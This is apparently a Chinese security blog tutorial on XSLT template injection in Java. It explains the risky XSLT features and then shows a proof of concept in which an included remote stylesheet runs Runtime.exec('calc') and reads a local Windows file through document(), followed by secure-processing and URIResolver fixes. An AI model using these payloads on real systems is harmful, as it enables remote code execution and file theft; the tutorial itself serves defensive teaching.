XSLT模版注入漏洞

模版注入漏洞根因(SSTI,服务器端模版注入)

由于模版内容部分或全部被外部控制,导致在模版加载或渲染到页面上时触发模版注入漏洞,模版注入漏洞一般可以造成RCE、敏感信息泄露和XSS,当模版被加载会触发RCE,当模版被渲染到页面上会触发敏感信息泄露和XSS。

XSLT介绍

XSLT(Extensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于将XML文档转换成HTML、文本、或其他XML文档的语言。它基于XPath和XSL,是W3C(万维网联盟)定义的一个标准。

主要特点:

  • 声明性语言:XSLT使用声明式语法,允许开发者指定输入和输出的规则,而不是具体的操作步骤。

  • 模板驱动:XSLT使用模板(template)来定义转换规则。每个模板可以包含匹配模式(match pattern)和模板规则(template rules),用于指定如何处理特定的XML节点。

  • 基于XML:XSLT本身就是一种XML语言,这意味着XSLT样式表可以被XML解析器解析,并且可以很容易地与XML文档集成。

  • 强大的模式匹配:XSLT使用XPath来选择XML文档中的节点,支持复杂的节点选择和路径表达式。

  • 可扩展性:XSLT允许开发者通过扩展函数和变量来自定义转换过程。

  • 广泛的支持:XSLT被广泛支持,几乎所有的XML处理库和工具都支持XSLT转换。

基本语法:

  • xsl:stylesheet:根元素,定义了转换的基本信息,如版本号和命名空间。
  • xsl:template:定义转换模板,可以包含匹配模式和模板规则。
  • xsl:for-each:用于迭代XML文档中的节点集合。
  • xsl:ifxsl:choosexsl:when:条件语句,用于基于条件选择不同的转换路径。
  • xsl:value-of:用于输出XML节点的文本内容。
  • xsl:variable:定义变量,用于存储和重用转换过程中的数据。
  • xsl:param:定义参数,允许在调用模板时传递参数。
  • xsl:includexsl:import:用于包含或导入其他XSLT样式表。

xsl:import只能放在开头,如:

<xsl:import href="http://127.0.0.1:8070/remote.xsl"/>
<xsl:template match="/">
    xxxxx
</xsl:template>
</xsl:stylesheet>

xsl:include则可以放在任意位置,但是需要注意,当一个xslt模版中存在两个相同节点的template时,处于后面位置的会覆写前面位置的

XSLT模版注入漏洞关键点

XSLT模版注入漏洞的触发在于使用了用户提供的XSLT文档或是根据用户的输入去生成XSLT文档,而这些外部的输入会明确使用XSLT库中实现的一些危险功能。

危险功能如下:

  • 外部引用:xsl:includexsl:import
  • 文档读取函数:document
  • 通过xmlns(声明命名空间)暴露java的危险类和方法

漏洞触发场景

以下场景都存在漏洞触发的风险:

  • 未限制外部引用
  • 未限制危险函数如document
  • 未限制XSLT处理器,导致可以暴露java的危险类和方法

漏洞复现

java中实现XSLT的库有以下几种:

  • Xalan-Java:Apache Xalan项目开发并维护的XSLT处理器,支持XSLT 1.0和XPath 1.0标准。Xalan-Java可以通过命令行、小程序或servlet使用,也可以作为其他程序的模块 。

  • Oracle XML Developer’s Kit (XDK):Oracle提供的XML开发工具包,其中包括XSLT处理器,支持XSLT 1.0和2.0版本,以及XPath 1.0和2.0的草稿标准。该处理器使用SAX创建样式表对象,以实现更高效的转换。

  • JAXP (Java API for XML Processing):Java的XML处理标准API,提供了对XSLT的支持。JAXP允许使用TransformerFactory来创建Transformer对象,进而执行XSLT转换。Xalan是JAXP的常用实现之一 。

  • jcabi-xml:一个简化XML解析和XPath遍历的开源库,它提供了一种便捷的方式来执行XSLT转换,使得在Java中处理XML变得更为简单 。

环境

jdk 17 + JAXP

引入依赖

JAXP为Java的XML处理标准API,无需单独引入依赖

poc

xml文件file.xml:

<?xml version="1.0" encoding="UTF-8"?>
<books>
    <book>
        <title>Java Basics</title>
        <author>John Doe</author>
        <year>2020</year>
    </book>
    <book>
        <title>Advanced Java</title>
        <author>Jane Smith</author>
        <year>2021</year>
    </book>
</books>

xsl样式模版file.xsl:

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0"

                xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
        <html>
            <head>
                <title>Book List</title>
            </head>
            <body>
                <h1>Book List</h1>
                <table border="1">
                    <tr>
                        <th>Title</th>
                        <th>Author</th>
                        <th>Year</th>
                    </tr>
                    <xsl:for-each select="books/book">
                        <tr>
                            <td><xsl:value-of select="title"/></td>
                            <td><xsl:value-of select="author"/></td>
                            <td><xsl:value-of select="year"/></td>
                        </tr>
                    </xsl:for-each>
                </table>
            </body>
        </html>
    </xsl:template>
    <xsl:include href="http://127.0.0.1:8070/remote.xsl"/>
</xsl:stylesheet>

远程实体remote.xsl:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
        xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
        <p>
            <xsl:value-of select="system-property('xsl:vendor')"/>
        </p>
        <p>
            <xsl:value-of select="system-property('xsl:vendor-url')"/>
        </p>
        <p>
            <xsl:value-of select="system-property('xsl:version')"/>
        </p>
        <!--        <xsl:value-of select="books"/>-->
        <!--        <xsl:copy-of select="document('http://127.0.0.1:8070/remote.xsl')"/>-->
        <xsl:variable name="rtobject" select="rt:getRuntime()"/>
        <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
        <xsl:variable name="processString" select="ob:toString($process)"/>
        <xsl:value-of select="$processString"/>
        <p></p>
        <textarea><xsl:copy-of select="document('C:\Windows\System32\wpr.config.xml')"/></textarea>
    </xsl:template>

</xsl:stylesheet>

具体的payload可以为分以下两种:

  • 信息泄露

    <xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:value-of select="system-property('xsl:vendor-url')"/>
    <xsl:value-of select="system-property('xsl:version')"/>
    <xsl:copy-of select="document('C:\Windows\System32\wpr.config.xml')"/>
    
  • 远程RCE

    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
    <xsl:variable name="processString" select="ob:toString($process)"/>
    <xsl:value-of select="$processString"/>
    

    注意需要使用xmlns指定对应的命名空间:

    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
    

修复方案

限制document读取路径

Transformer transformer = factory.newTransformer(xsltSource);
URIResolver resolver = (href, base) -> {
    // 限制document加载保护目录下XSLT文档
    String dir = "C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt";
    if (base.startsWith(dir)){
        Source source = new StreamSource(new File(base));
        return source;
    } else{
        System.out.println(href);
        System.out.println(base);
        System.out.println("document加载的xml文档不在保护目录下");
        throw new TransformerException("document加载的xml文档不在保护目录下");
//                return null;//return null仍然会加载文档
    }

};
transformer.setURIResolver(resolver);

限制使用xsl:includexsl:import引用外部实体

TransformerFactory factory = TransformerFactory.newInstance();

//避免加载外部实体和危险类调用
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

当引用外部实体就会报错,比如:由于 accessExternalStylesheet 属性设置的限制而不允许 ‘http’ 访问, 因此无法读取样式表目标 ‘remote.xsl’

避免暴露java的危险类和方法

TransformerFactory factory = TransformerFactory.newInstance();

//避免加载外部实体和危险类调用
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

当使用危险的类和方法时就会报错,比如:

java.lang.RuntimeException: 当安全处理功能设置为“真”时, 不允许使用扩展函数http://xml.apache.org/xalan/java/java.lang.Runtime:getRuntime

完整代码(包含修复)

public static void main(String[] args) {
    try {
        // 创建TransformerFactory实例
        TransformerFactory factory = TransformerFactory.newInstance();

        //避免加载外部实体和危险类调用
        factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        InputStream xsltStream = new FileInputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\file.xsl");
        Source xsltSource = new StreamSource(xsltStream);
        Transformer transformer = factory.newTransformer(xsltSource);
        URIResolver resolver = (href, base) -> {
            // 限制document加载保护目录下XSLT文档
            String dir = "C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt";
            if (base.startsWith(dir)){
                Source source = new StreamSource(new File(base));
                return source;
            } else{
                System.out.println(href);
                System.out.println(base);
                System.out.println("document加载的xml文档不在保护目录下");
                throw new TransformerException("document加载的xml文档不在保护目录下");
//                return null;//return null仍然会加载文档
            }

        };
        transformer.setURIResolver(resolver);

        // 加载XML源文档
        InputStream xmlStream = new FileInputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\file.xml");
        Source xmlSource = new StreamSource(xmlStream);

        // 设置转换结果的输出目标
        FileOutputStream outputStream = new FileOutputStream("C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\xslt\\output.html");
        Result outputTarget = new StreamResult(outputStream);

        // 执行转换
        transformer.transform(xmlSource, outputTarget);

        // 关闭流
        xmlStream.close();
        outputStream.close();
        xsltStream.close();
    } catch (TransformerException | IOException e) {
        e.printStackTrace();
    }
}

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值